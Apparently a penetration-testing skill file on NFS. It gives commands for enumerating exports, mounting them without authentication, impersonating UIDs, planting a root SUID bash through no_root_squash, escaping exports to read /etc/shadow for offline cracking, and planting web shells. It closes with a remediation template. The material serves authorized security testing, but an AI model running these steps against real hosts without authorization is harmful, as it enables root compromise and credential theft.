pentesting-nfs

name	pentesting-nfs
description	Testing NFS services (default port 2049, with rpcbind/mountd on 111 and dynamic ports) for exported share enumeration, missing authentication, UID/GID impersonation, no_root_squash/no_all_squash misconfiguration, subtree_check export escape, and group-based file access (e.g., /etc/shadow) during authorized engagements.
domain	cybersecurity
subdomain	network-services-pentesting
tags	["penetration-testing","network-services","nfs"]
version	1.0
author	xalgorix
license	Apache-2.0

Pentesting NFS (port 2049)

When to Use

• Default port 2049/tcp/udp; NFSv2/v3 also rely on rpcbind (111) and mountd (dynamic) — NFSv4 needs only 2049.
• When nmap/rpcinfo shows nfs, mountd, nfs_acl, or RPC program 100003.
• For enumerating exports, mounting shares, and abusing UID/GID trust and squash misconfigurations to read/write privileged files.

Quick Enumeration

# Exports + permissions (NFSv3 via mountd)
showmount -e <IP>

# rpcbind / RPC program discovery (locate mountd, nlockmgr, etc.)
rpcinfo -p <IP>

# nmap NSE: list exports, mounts, disk stats
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>

# Metasploit mount scanner
msfconsole -q -x 'use scanner/nfs/nfsmount; set RHOSTS <IP>; run; exit'

If showmount/msf show nothing, it may be an NFSv4-only server that doesn't support v3 — mount / directly and browse from there.

Critical: Checks Most Often Missed

• Missing authentication / UID impersonation — without Kerberos, the server trusts client-supplied UID/GID. Create a local user matching the file owner's UID to access "protected" files.
  • How to CONFIRM:

    showmount -e <IP>
    mount -t nfs -o vers=3,nolock <IP>:/export /mnt/n
    ls -ln /mnt/n            # note owner UIDs
    sudo useradd -u <UID> victimsim ; sudo -u victimsim cat /mnt/n/<file>
    

• no_root_squash — root is NOT squashed; mounting lets you act as root on the share (write SUID binaries / read root-only files). The highest-impact miss.
  • How to CONFIRM: mount, then touch /mnt/n/rootcheck && ls -l /mnt/n/rootcheck shows owner root; or plant a SUID shell (see Step 3).
• no_all_squash — user identities preserved across the share, enabling broad impersonation.
• subtree_check disabled (default on Linux) → export escape — exporting a subfolder of a larger filesystem lets you reach files outside the export (e.g., read /var/log/, write /var/www/).
  • How to CONFIRM: use nfs_analyze/fuse_nfs from hvs-consulting nfs-security-tooling to detect escape + no_root_squash.
• Group-readable root files — only UID 0 is squash-protected by default; files owned by root but with a non-zero group (e.g., /etc/shadow, group shadow/gid 42) are readable by default.

Workflow

Step 1: Enumerate (exports, versions, RPC)

showmount -e <IP>
rpcinfo -p <IP>
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>
# Deep analysis (mounts, versions, escape, squash) :
#   git clone https://github.com/hvs-consulting/nfs-security-tooling
python3 nfs_analyze.py <IP>

Step 2: Mount (no auth required for v2/v3)

mkdir -p /mnt/nfs
# v2/v3 have no real auth — prefer them for impersonation
mount -t nfs -o vers=3,nolock <IP>:/export /mnt/nfs
mount -t nfs -o vers=2,nolock <IP>:/backup /mnt/nfs    # v2 lacks any authz

Step 3: Exploit / Extract (impersonation, squash, escape)

# UID impersonation: become the file owner locally
ls -ln /mnt/nfs                                  # find owning UID
sudo useradd -u 1001 victimsim
sudo -u victimsim cat /mnt/nfs/secret.txt

# no_root_squash privilege escalation: plant a root SUID shell
cp /bin/bash /mnt/nfs/rootbash
sudo chown root:root /mnt/nfs/rootbash 2>/dev/null   # works because root is not squashed
sudo chmod +s /mnt/nfs/rootbash
# then on the NFS host (or as that user): /path/rootbash -p   -> euid=0

# UID/GID forcing without local accounts
#   fuse_nfs (nfs-security-tooling) sends the needed UID/GID automatically
# nfsshell for interactive UID/GID switching:
#   nfs> host <IP>; export; mount /export; uid 0; gid 0; get /etc/shadow

# Group-readable root file (default-readable when group != 0)
cat /mnt/nfs/../etc/shadow   # via subtree escape when subtree_check disabled

Step 4: Post-access / pivot

• Read /etc/shadow (group-readable case) and crack offline with hashcat/john.
• Use export escape to plant a web shell in /var/www/ or read logs/keys in /var/.
• Reuse a planted SUID root shell or recovered keys/credentials to fully compromise the host and pivot.

Key Concepts

Concept	Description
UID/GID trust	Without Kerberos, the server trusts client-sent UID/GID — local user matching enables impersonation.
root_squash	Default: UID 0 mapped to nobody; non-root UIDs still trusted.
no_root_squash	Root not squashed — mount and act as root (SUID planting, root-file read).
all_squash / no_all_squash	Map everyone to nobody / preserve all identities respectively.
subtree_check	Disabled by default on Linux → exporting a subdir allows escape to the rest of the filesystem.
Group-readable root files	Files owned by root with non-zero group (e.g., shadow gid 42) readable by default.
NFSv4 differences	Adds Kerberos, ACLs, stateful ops, no portmapper; clients access / directly.

Tools & Systems

Tool	Purpose
showmount / rpcinfo	Enumerate exports, allowed clients, and RPC programs.
nmap NSE	nfs-ls, nfs-showmount, nfs-statfs.
mount -t nfs	Mount shares (force vers=2/3 to skip auth).
nfs-security-tooling	nfs_analyze (escape/squash detection) and fuse_nfs (force UID/GID).
nfsshell	Interactive client to set arbitrary UID/GID and fetch files.
Metasploit	scanner/nfs/nfsmount.
john / hashcat	Crack /etc/shadow hashes read from a share.

Common Scenarios

Scenario 1: Anonymous export → UID impersonation

showmount -e <IP> lists /home. Mounting v3 and creating a local user with the owning UID grants read of a user's SSH private key, used to log in.

Scenario 2: no_root_squash privilege escalation

/srv is exported with no_root_squash. The tester copies bash to the share, sets it root-owned + SUID, and executes rootbash -p on the host for a root shell.

Scenario 3: subtree_check escape reads /etc/shadow

/srv/ is exported but shares the root filesystem with subtree_check disabled. Using nfs_analyze, the tester escapes the export and reads /etc/shadow (group-readable), then cracks hashes offline.

Output Format

## NFS Finding

**Service**: NFS
**Port**: 2049/tcp (NFSv3 via mountd, rpcbind 111)
**Severity**: Critical
**Finding**: Export with no_root_squash and subtree_check disabled
**Evidence**:
  - showmount -e <IP>: "/srv *"
  - mount -o vers=3 succeeded with no authentication
  - planted root-owned SUID bash in /srv -> rootbash -p returned euid=0
  - escaped export to read /etc/shadow
**Impact**: Unauthenticated network clients gain root-equivalent access to the host filesystem.
**Recommendation**:
  1. Remove `no_root_squash`/`no_all_squash`; keep default root_squash.
  2. Restrict exports to specific client IPs and require NFSv4 + Kerberos (`sec=krb5p`).
  3. Export tightly scoped directories and enable `subtree_check` where applicable.
  4. Block NFS/rpcbind ports from untrusted networks.